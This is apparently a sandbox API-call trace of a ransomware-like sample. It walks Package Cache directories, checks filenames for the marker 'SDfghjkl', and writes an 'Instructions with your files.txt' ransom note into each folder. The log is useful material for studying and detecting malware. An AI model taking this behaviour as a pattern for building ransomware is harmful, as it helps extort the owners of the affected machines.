[0126.422] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt") returned 150
[0126.422] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0126.424] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0126.424] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0126.425] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0126.425] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0126.425] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0126.425] CloseHandle (hObject=0x114) returned 1
[0126.425] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0126.425] GetProcessHeap () returned 0x810000
[0126.425] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0126.425] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
[0126.425] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\Instructions with your files.txt") returned 124
[0126.425] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0126.425] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0126.429] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0126.429] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0126.430] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0126.430] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0126.431] CloseHandle (hObject=0x110) returned 1
[0126.431] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0126.431] GetProcessHeap () returned 0x810000
[0126.431] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0126.433] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0126.437] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\Instructions with your files.txt") returned 115
[0126.437] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.439] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.440] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.440] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.440] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.440] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.441] CloseHandle (hObject=0x10c) returned 1
[0126.441] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.441] GetProcessHeap () returned 0x810000
[0126.441] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.441] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1
[0126.441] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 82
[0126.441] GetProcessHeap () returned 0x810000
[0126.441] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.441] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned 84
[0126.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.442] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\.") returned 84
[0126.442] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.442] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\..") returned 85
[0126.442] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.442] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned 91
[0126.442] GetProcessHeap () returned 0x810000
[0126.442] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.442] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*") returned 93
[0126.442] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.445] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\.") returned 93
[0126.445] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.445] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\..") returned 94
[0126.445] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0126.445] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned 114
[0126.445] GetProcessHeap () returned 0x810000
[0126.445] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0126.446] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*") returned 116
[0126.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.446] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\.") returned 116
[0126.446] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.446] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\..") returned 117
[0126.446] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b69ee00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7b69ee00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7b69ee00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0126.446] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 123
[0126.446] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0126.449] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0126.449] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 140
[0126.449] StrStrIW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0126.449] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0126.459] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt") returned 147
[0126.459] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0126.463] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0126.464] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0126.464] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0126.464] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0126.464] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0126.464] CloseHandle (hObject=0x114) returned 1
[0126.465] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0126.465] GetProcessHeap () returned 0x810000
[0126.465] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0126.465] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
[0126.465] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\Instructions with your files.txt") returned 124
[0126.465] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0126.465] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0126.466] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0126.466] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0126.466] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0126.466] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0126.466] CloseHandle (hObject=0x110) returned 1
[0126.467] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0126.467] GetProcessHeap () returned 0x810000
[0126.467] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0126.467] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0126.467] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\Instructions with your files.txt") returned 115
[0126.467] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.467] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.468] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
